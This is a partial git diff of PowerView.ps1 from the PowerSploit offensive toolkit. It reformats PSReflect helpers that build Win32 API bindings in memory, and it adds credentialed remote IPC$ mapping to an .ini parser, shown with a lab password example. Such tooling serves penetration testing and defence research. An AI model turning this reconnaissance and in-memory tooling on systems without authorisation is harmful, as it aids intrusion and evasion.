aboutsummaryrefslogtreecommitdiff
path: root/Recon/PowerView.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Recon/PowerView.ps1')
-rwxr-xr-xRecon/PowerView.ps122079
1 files changed, 13661 insertions, 8418 deletions
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index d35a9f0..83c1ae2 100755
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -2,14 +2,14 @@
<#
- PowerSploit File: PowerView.ps1
- Author: Will Schroeder (@harmj0y)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
+PowerSploit File: PowerView.ps1
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
#>
+
########################################################
#
# PSReflect code for Windows API access
@@ -18,53 +18,54 @@
#
########################################################
-function New-InMemoryModule
-{
+function New-InMemoryModule {
<#
- .SYNOPSIS
+.SYNOPSIS
- Creates an in-memory assembly and module
+Creates an in-memory assembly and module
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
- .DESCRIPTION
+.DESCRIPTION
- When defining custom enums, structs, and unmanaged functions, it is
- necessary to associate to an assembly module. This helper function
- creates an in-memory module that can be passed to the 'enum',
- 'struct', and Add-Win32Type functions.
+When defining custom enums, structs, and unmanaged functions, it is
+necessary to associate to an assembly module. This helper function
+creates an in-memory module that can be passed to the 'enum',
+'struct', and Add-Win32Type functions.
- .PARAMETER ModuleName
+.PARAMETER ModuleName
- Specifies the desired name for the in-memory assembly and module. If
- ModuleName is not provided, it will default to a GUID.
+Specifies the desired name for the in-memory assembly and module. If
+ModuleName is not provided, it will default to a GUID.
- .EXAMPLE
+.EXAMPLE
- $Module = New-InMemoryModule -ModuleName Win32
+$Module = New-InMemoryModule -ModuleName Win32
#>
- Param
- (
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [CmdletBinding()]
+ Param (
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
- $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
+ $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
+ $LoadedAssemblies = $AppDomain.GetAssemblies()
- ForEach ($Assembly in $LoadedAssemblies) {
+ foreach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
- $Domain = [AppDomain]::CurrentDomain
+ $Domain = $AppDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
@@ -74,16 +75,14 @@ function New-InMemoryModule
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
-function func
-{
- Param
- (
+function func {
+ Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
- [String]
+ [string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
@@ -102,6 +101,9 @@ function func
[Runtime.InteropServices.CharSet]
$Charset,
+ [String]
+ $EntryPoint,
+
[Switch]
$SetLastError
)
@@ -116,6 +118,7 @@ function func
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
+ if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
New-Object PSObject -Property $Properties
}
@@ -124,123 +127,133 @@ function func
function Add-Win32Type
{
<#
- .SYNOPSIS
+.SYNOPSIS
- Creates a .NET type for an unmanaged Win32 function.
+Creates a .NET type for an unmanaged Win32 function.
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: func
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: func
- .DESCRIPTION
+.DESCRIPTION
- Add-Win32Type enables you to easily interact with unmanaged (i.e.
- Win32 unmanaged) functions in PowerShell. After providing
- Add-Win32Type with a function signature, a .NET type is created
- using reflection (i.e. csc.exe is never called like with Add-Type).
+Add-Win32Type enables you to easily interact with unmanaged (i.e.
+Win32 unmanaged) functions in PowerShell. After providing
+Add-Win32Type with a function signature, a .NET type is created
+using reflection (i.e. csc.exe is never called like with Add-Type).
- The 'func' helper function can be used to reduce typing when defining
- multiple function definitions.
+The 'func' helper function can be used to reduce typing when defining
+multiple function definitions.
- .PARAMETER DllName
+.PARAMETER DllName
- The name of the DLL.
+The name of the DLL.
- .PARAMETER FunctionName
+.PARAMETER FunctionName
- The name of the target function.
+The name of the target function.
- .PARAMETER ReturnType
+.PARAMETER EntryPoint
- The return type of the function.
+The DLL export function name. This argument should be specified if the
+specified function name is different than the name of the exported
+function.
- .PARAMETER ParameterTypes
+.PARAMETER ReturnType
- The function parameters.
+The return type of the function.
- .PARAMETER NativeCallingConvention
+.PARAMETER ParameterTypes
- Specifies the native calling convention of the function. Defaults to
- stdcall.
+The function parameters.
- .PARAMETER Charset
+.PARAMETER NativeCallingConvention
- If you need to explicitly call an 'A' or 'W' Win32 function, you can
- specify the character set.
+Specifies the native calling convention of the function. Defaults to
+stdcall.
- .PARAMETER SetLastError
+.PARAMETER Charset
- Indicates whether the callee calls the SetLastError Win32 API
- function before returning from the attributed method.
+If you need to explicitly call an 'A' or 'W' Win32 function, you can
+specify the character set.
- .PARAMETER Module
+.PARAMETER SetLastError
- The in-memory module that will host the functions. Use
- New-InMemoryModule to define an in-memory module.
+Indicates whether the callee calls the SetLastError Win32 API
+function before returning from the attributed method.
- .PARAMETER Namespace
+.PARAMETER Module
- An optional namespace to prepend to the type. Add-Win32Type defaults
- to a namespace consisting only of the name of the DLL.
+The in-memory module that will host the functions. Use
+New-InMemoryModule to define an in-memory module.
- .EXAMPLE
+.PARAMETER Namespace
- $Mod = New-InMemoryModule -ModuleName Win32
+An optional namespace to prepend to the type. Add-Win32Type defaults
+to a namespace consisting only of the name of the DLL.
- $FunctionDefinitions = @(
- (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
- (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
- (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
- )
+.EXAMPLE
- $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
- $Kernel32 = $Types['kernel32']
- $Ntdll = $Types['ntdll']
- $Ntdll::RtlGetCurrentPeb()
- $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
- $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
+$Mod = New-InMemoryModule -ModuleName Win32
- .NOTES
+$FunctionDefinitions = @(
+ (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
+ (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
+ (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
+)
+
+$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
+$Kernel32 = $Types['kernel32']
+$Ntdll = $Types['ntdll']
+$Ntdll::RtlGetCurrentPeb()
+$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
+$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
- Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
+.NOTES
- When defining multiple function prototypes, it is ideal to provide
- Add-Win32Type with an array of function signatures. That way, they
- are all incorporated into the same in-memory module.
+Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
+
+When defining multiple function prototypes, it is ideal to provide
+Add-Win32Type with an array of function signatures. That way, they
+are all incorporated into the same in-memory module.
#>
[OutputType([Hashtable])]
Param(
- [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$DllName,
- [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$FunctionName,
- [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
+ [String]
+ $EntryPoint,
+
+ [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[Type]
$ReturnType,
- [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[Type[]]
$ParameterTypes,
- [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
- [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
- [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[Switch]
$SetLastError,
- [Parameter(Mandatory = $True)]
+ [Parameter(Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
@@ -290,11 +303,11 @@ function Add-Win32Type
# Make each ByRef parameter an Out parameter
$i = 1
- ForEach($Parameter in $ParameterTypes)
+ foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
- [void] $Method.DefineParameter($i, 'Out', $Null)
+ [void] $Method.DefineParameter($i, 'Out', $null)
}
$i++
@@ -304,14 +317,23 @@ function Add-Win32Type
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
+ $EntryPointField = $DllImport.GetField('EntryPoint')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
+ if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
+
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
- [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
- [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
+ [Reflection.FieldInfo[]] @($SetLastErrorField,
+ $CallingConventionField,
+ $CharsetField,
+ $EntryPointField),
+ [Object[]] @($SLEValue,
+ ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
+ ([Runtime.InteropServices.CharSet] $Charset),
+ $ExportedFuncName))
$Method.SetCustomAttribute($DllImportAttribute)
}
@@ -326,7 +348,7 @@ function Add-Win32Type
$ReturnTypes = @{}
- ForEach ($Key in $TypeHash.Keys)
+ foreach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
@@ -338,90 +360,88 @@ function Add-Win32Type
}
-function psenum
-{
+function psenum {
<#
- .SYNOPSIS
+.SYNOPSIS
- Creates an in-memory enumeration for use in your PowerShell session.
+Creates an in-memory enumeration for use in your PowerShell session.
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
- .DESCRIPTION
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
- The 'psenum' function facilitates the creation of enums entirely in
- memory using as close to a "C style" as PowerShell will allow.
+.DESCRIPTION
- .PARAMETER Module
+The 'psenum' function facilitates the creation of enums entirely in
+memory using as close to a "C style" as PowerShell will allow.
- The in-memory module that will host the enum. Use
- New-InMemoryModule to define an in-memory module.
+.PARAMETER Module
- .PARAMETER FullName
+The in-memory module that will host the enum. Use
+New-InMemoryModule to define an in-memory module.
- The fully-qualified name of the enum.
+.PARAMETER FullName
- .PARAMETER Type
+The fully-qualified name of the enum.
- The type of each enum element.
+.PARAMETER Type
- .PARAMETER EnumElements
+The type of each enum element.
- A hashtable of enum elements.
+.PARAMETER EnumElements
- .PARAMETER Bitfield
+A hashtable of enum elements.
- Specifies that the enum should be treated as a bitfield.
+.PARAMETER Bitfield
- .EXAMPLE
+Specifies that the enum should be treated as a bitfield.
- $Mod = New-InMemoryModule -ModuleName Win32
+.EXAMPLE
- $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
- UNKNOWN = 0
- NATIVE = 1 # Image doesn't require a subsystem.
- WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
- WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
- OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
- POSIX_CUI = 7 # Image runs in the Posix character subsystem.
- NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
- WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
- EFI_APPLICATION = 10
- EFI_BOOT_SERVICE_DRIVER = 11
- EFI_RUNTIME_DRIVER = 12
- EFI_ROM = 13
- XBOX = 14
- WINDOWS_BOOT_APPLICATION = 16
- }
+$Mod = New-InMemoryModule -ModuleName Win32
- .NOTES
+$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
+ UNKNOWN = 0
+ NATIVE = 1 # Image doesn't require a subsystem.
+ WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
+ WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
+ OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
+ POSIX_CUI = 7 # Image runs in the Posix character subsystem.
+ NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
+ WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
+ EFI_APPLICATION = 10
+ EFI_BOOT_SERVICE_DRIVER = 11
+ EFI_RUNTIME_DRIVER = 12
+ EFI_ROM = 13
+ XBOX = 14
+ WINDOWS_BOOT_APPLICATION = 16
+}
- PowerShell purists may disagree with the naming of this function but
- again, this was developed in such a way so as to emulate a "C style"
- definition as closely as possible. Sorry, I'm not going to name it
- New-Enum. :P
+.NOTES
+
+PowerShell purists may disagree with the naming of this function but
+again, this was developed in such a way so as to emulate a "C style"
+definition as closely as possible. Sorry, I'm not going to name it
+New-Enum. :P
#>
[OutputType([Type])]
- Param
- (
- [Parameter(Position = 0, Mandatory = $True)]
+ Param (
+ [Parameter(Position = 0, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
- [Parameter(Position = 1, Mandatory = $True)]
+ [Parameter(Position = 1, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
- [Parameter(Position = 2, Mandatory = $True)]
+ [Parameter(Position = 2, Mandatory=$True)]
[Type]
$Type,
- [Parameter(Position = 3, Mandatory = $True)]
+ [Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
@@ -446,10 +466,10 @@ function psenum
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
- ForEach ($Key in $EnumElements.Keys)
+ foreach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
- $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
+ $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
@@ -458,15 +478,13 @@ function psenum
# A helper function used to reduce typing while defining struct
# fields.
-function field
-{
- Param
- (
- [Parameter(Position = 0, Mandatory = $True)]
+function field {
+ Param (
+ [Parameter(Position = 0, Mandatory=$True)]
[UInt16]
$Position,
- [Parameter(Position = 1, Mandatory = $True)]
+ [Parameter(Position = 1, Mandatory=$True)]
[Type]
$Type,
@@ -490,111 +508,110 @@ function field
function struct
{
<#
- .SYNOPSIS
+.SYNOPSIS
- Creates an in-memory struct for use in your PowerShell session.
+Creates an in-memory struct for use in your PowerShell session.
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: field
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: field
- .DESCRIPTION
+.DESCRIPTION
- The 'struct' function facilitates the creation of structs entirely in
- memory using as close to a "C style" as PowerShell will allow. Struct
- fields are specified using a hashtable where each field of the struct
- is comprosed of the order in which it should be defined, its .NET
- type, and optionally, its offset and special marshaling attributes.
+The 'struct' function facilitates the creation of structs entirely in
+memory using as close to a "C style" as PowerShell will allow. Struct
+fields are specified using a hashtable where each field of the struct
+is comprosed of the order in which it should be defined, its .NET
+type, and optionally, its offset and special marshaling attributes.
- One of the features of 'struct' is that after your struct is defined,
- it will come with a built-in GetSize method as well as an explicit
- converter so that you can easily cast an IntPtr to the struct without
- relying upon calling SizeOf and/or PtrToStructure in the Marshal
- class.
+One of the features of 'struct' is that after your struct is defined,
+it will come with a built-in GetSize method as well as an explicit
+converter so that you can easily cast an IntPtr to the struct without
+relying upon calling SizeOf and/or PtrToStructure in the Marshal
+class.
- .PARAMETER Module
+.PARAMETER Module
- The in-memory module that will host the struct. Use
- New-InMemoryModule to define an in-memory module.
+The in-memory module that will host the struct. Use
+New-InMemoryModule to define an in-memory module.
- .PARAMETER FullName
+.PARAMETER FullName
- The fully-qualified name of the struct.
+The fully-qualified name of the struct.
- .PARAMETER StructFields
+.PARAMETER StructFields
- A hashtable of fields. Use the 'field' helper function to ease
- defining each field.
+A hashtable of fields. Use the 'field' helper function to ease
+defining each field.
- .PARAMETER PackingSize
+.PARAMETER PackingSize
- Specifies the memory alignment of fields.
+Specifies the memory alignment of fields.
- .PARAMETER ExplicitLayout
+.PARAMETER ExplicitLayout
- Indicates that an explicit offset for each field will be specified.
+Indicates that an explicit offset for each field will be specified.
- .EXAMPLE
+.EXAMPLE
- $Mod = New-InMemoryModule -ModuleName Win32
+$Mod = New-InMemoryModule -ModuleName Win32
- $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
- DOS_SIGNATURE = 0x5A4D
- OS2_SIGNATURE = 0x454E
- OS2_SIGNATURE_LE = 0x454C
- VXD_SIGNATURE = 0x454C
- }
+$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
+ DOS_SIGNATURE = 0x5A4D
+ OS2_SIGNATURE = 0x454E
+ OS2_SIGNATURE_LE = 0x454C
+ VXD_SIGNATURE = 0x454C
+}
- $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
- e_magic = field 0 $ImageDosSignature
- e_cblp = field 1 UInt16
- e_cp = field 2 UInt16
- e_crlc = field 3 UInt16
- e_cparhdr = field 4 UInt16
- e_minalloc = field 5 UInt16
- e_maxalloc = field 6 UInt16
- e_ss = field 7 UInt16
- e_sp = field 8 UInt16
- e_csum = field 9 UInt16
- e_ip = field 10 UInt16
- e_cs = field 11 UInt16
- e_lfarlc = field 12 UInt16
- e_ovno = field 13 UInt16
- e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
- e_oemid = field 15 UInt16
- e_oeminfo = field 16 UInt16
- e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
- e_lfanew = field 18 Int32
- }
+$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
+ e_magic = field 0 $ImageDosSignature
+ e_cblp = field 1 UInt16
+ e_cp = field 2 UInt16
+ e_crlc = field 3 UInt16
+ e_cparhdr = field 4 UInt16
+ e_minalloc = field 5 UInt16
+ e_maxalloc = field 6 UInt16
+ e_ss = field 7 UInt16
+ e_sp = field 8 UInt16
+ e_csum = field 9 UInt16
+ e_ip = field 10 UInt16
+ e_cs = field 11 UInt16
+ e_lfarlc = field 12 UInt16
+ e_ovno = field 13 UInt16
+ e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
+ e_oemid = field 15 UInt16
+ e_oeminfo = field 16 UInt16
+ e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
+ e_lfanew = field 18 Int32
+}
- # Example of using an explicit layout in order to create a union.
- $TestUnion = struct $Mod TestUnion @{
- field1 = field 0 UInt32 0
- field2 = field 1 IntPtr 0
- } -ExplicitLayout
+# Example of using an explicit layout in order to create a union.
+$TestUnion = struct $Mod TestUnion @{
+ field1 = field 0 UInt32 0
+ field2 = field 1 IntPtr 0
+} -ExplicitLayout
- .NOTES
+.NOTES
- PowerShell purists may disagree with the naming of this function but
- again, this was developed in such a way so as to emulate a "C style"
- definition as closely as possible. Sorry, I'm not going to name it
- New-Struct. :P
+PowerShell purists may disagree with the naming of this function but
+again, this was developed in such a way so as to emulate a "C style"
+definition as closely as possible. Sorry, I'm not going to name it
+New-Struct. :P
#>
[OutputType([Type])]
- Param
- (
- [Parameter(Position = 1, Mandatory = $True)]
+ Param (
+ [Parameter(Position = 1, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
- [Parameter(Position = 2, Mandatory = $True)]
+ [Parameter(Position = 2, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
- [Parameter(Position = 3, Mandatory = $True)]
+ [Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
@@ -635,13 +652,13 @@ function struct
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
- ForEach ($Field in $StructFields.Keys)
+ foreach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
- ForEach ($Field in $Fields)
+ foreach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
@@ -714,480 +731,973 @@ function struct
#
########################################################
-filter Get-IniContent {
+function Get-IniContent {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+This helper parses an .ini file into a hashtable.
+
+Author: 'The Scripting Guys'
+Modifications: @harmj0y (-Credential support)
+License: BSD 3-Clause
+Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
+
+.DESCRIPTION
+
+Parses an .ini file into a hashtable. If -Credential is supplied,
+then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
+is parsed, and then the connection is destroyed with Remove-RemoteConnection.
+
+.PARAMETER Path
+
+Specifies the path to the .ini file to parse.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system.
+
+.EXAMPLE
+
+Get-IniContent C:\Windows\example.ini
+
+.EXAMPLE
+
+"C:\Windows\example.ini" | Get-IniContent
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
- This helper parses an .ini file into a proper PowerShell object.
-
- Author: 'The Scripting Guys'
- Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
+.INPUTS
- .LINK
+String
- https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
+Accepts one or more .ini paths on the pipeline.
+
+.OUTPUTS
+
+Hashtable
+
+Ouputs a hashtable representing the parsed .ini file.
+
+.LINK
+
+https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([Hashtable])]
[CmdletBinding()]
Param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
- [Alias('FullName')]
- [ValidateScript({ Test-Path -Path $_ })]
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('FullName', 'Name')]
+ [ValidateNotNullOrEmpty()]
[String[]]
- $Path
+ $Path,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- ForEach($TargetPath in $Path) {
- $IniObject = @{}
- Switch -Regex -File $TargetPath {
- "^\[(.+)\]" # Section
- {
- $Section = $matches[1].Trim()
- $IniObject[$Section] = @{}
- $CommentCount = 0
+ BEGIN {
+ $MappedComputers = @{}
+ }
+
+ PROCESS {
+ ForEach ($TargetPath in $Path) {
+ if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
+ $HostComputer = (New-Object System.Uri($TargetPath)).Host
+ if (-not $MappedComputers[$HostComputer]) {
+ # map IPC$ to this computer if it's not already
+ Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
+ $MappedComputers[$HostComputer] = $True
+ }
}
- "^(;.*)$" # Comment
- {
- $Value = $matches[1].Trim()
- $CommentCount = $CommentCount + 1
- $Name = 'Comment' + $CommentCount
- $IniObject[$Section][$Name] = $Value
- }
- "(.+?)\s*=(.*)" # Key
- {
- $Name, $Value = $matches[1..2]
- $Name = $Name.Trim()
- $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
- if($Values -isnot [System.Array]) {$Values = @($Values)}
- $IniObject[$Section][$Name] = $Values
+
+ if (Test-Path -Path $TargetPath) {
+ $IniObject = @{}
+ Switch -Regex -File $TargetPath {
+ "^\[(.+)\]" # Section
+ {
+ $Section = $matches[1].Trim()
+ $IniObject[$Section] = @{}
+ $CommentCount = 0
+ }
+ "^(;.*)$" # Comment
+ {
+ $Value = $matches[1].Trim()
+ $CommentCount = $CommentCount + 1
+ $Name = 'Comment' + $CommentCount
+ $IniObject[$Section][$Name] = $Value
+ }
+ "(.+?)\s*=(.*)" # Key
+ {
+ $Name, $Value = $matches[1..2]
+ $Name = $Name.Trim()
+ $Values = $Value.split(',') | ForEach-Object { $_.Trim() }
+ if ($Values -isnot [System.Array]) { $Values = @($Values) }
+ $IniObject[$Section][$Name] = $Values
+ }
+ }
+ $IniObject
}
}
- $IniObject
+ }
+
+ END {
+ # remove the IPC$ mappings
+ $MappedComputers.Keys | Remove-RemoteConnection
}
}
-filter Export-PowerViewCSV {
+
+function Export-PowerViewCSV {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Converts objects into a series of comma-separated (CSV) strings and saves the
+strings in a CSV file in a thread-safe manner.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.DESCRIPTION
+
+This helper exports an -InputObject to a .csv in a thread-safe manner
+using a mutex. This is so the various multi-threaded functions in
+PowerView has a thread-safe way to export output to the same file.
+Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
+
+Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
+
+.PARAMETER InputObject
+
+Specifies the objects to export as CSV strings.
+
+.PARAMETER Path
+
+Specifies the path to the CSV output file.
+
+.PARAMETER Delimiter
+
+Specifies a delimiter to separate the property values. The default is a comma (,)
+
+.PARAMETER Append
+
+Indicates that this cmdlet adds the CSV output to the end of the specified file.
+Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
+
+.EXAMPLE
+
+Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
- This helper exports an -InputObject to a .csv in a thread-safe manner
- using a mutex. This is so the various multi-threaded functions in
- PowerView has a thread-safe way to export output to the same file.
-
- Based partially on Dmitry Sotnikov's Export-CSV code
- at http://poshcode.org/1590
+.EXAMPLE
- .LINK
+Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
- http://poshcode.org/1590
- http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
+.INPUTS
+
+PSObject
+
+Accepts one or more PSObjects on the pipeline.
+
+.LINK
+
+http://poshcode.org/1590
+http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [CmdletBinding()]
Param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
- [Parameter(Mandatory=$True, Position=0)]
+ [Parameter(Mandatory = $True, Position = 1)]
+ [ValidateNotNullOrEmpty()]
[String]
+ $Path,
+
+ [Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
- $OutFile
+ [Char]
+ $Delimiter = ',',
+
+ [Switch]
+ $Append
)
- $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
+ BEGIN {
+ $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
+ $Exists = [System.IO.File]::Exists($OutputPath)
+
+ # mutex so threaded code doesn't stomp on the output file
+ $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
+ $Null = $Mutex.WaitOne()
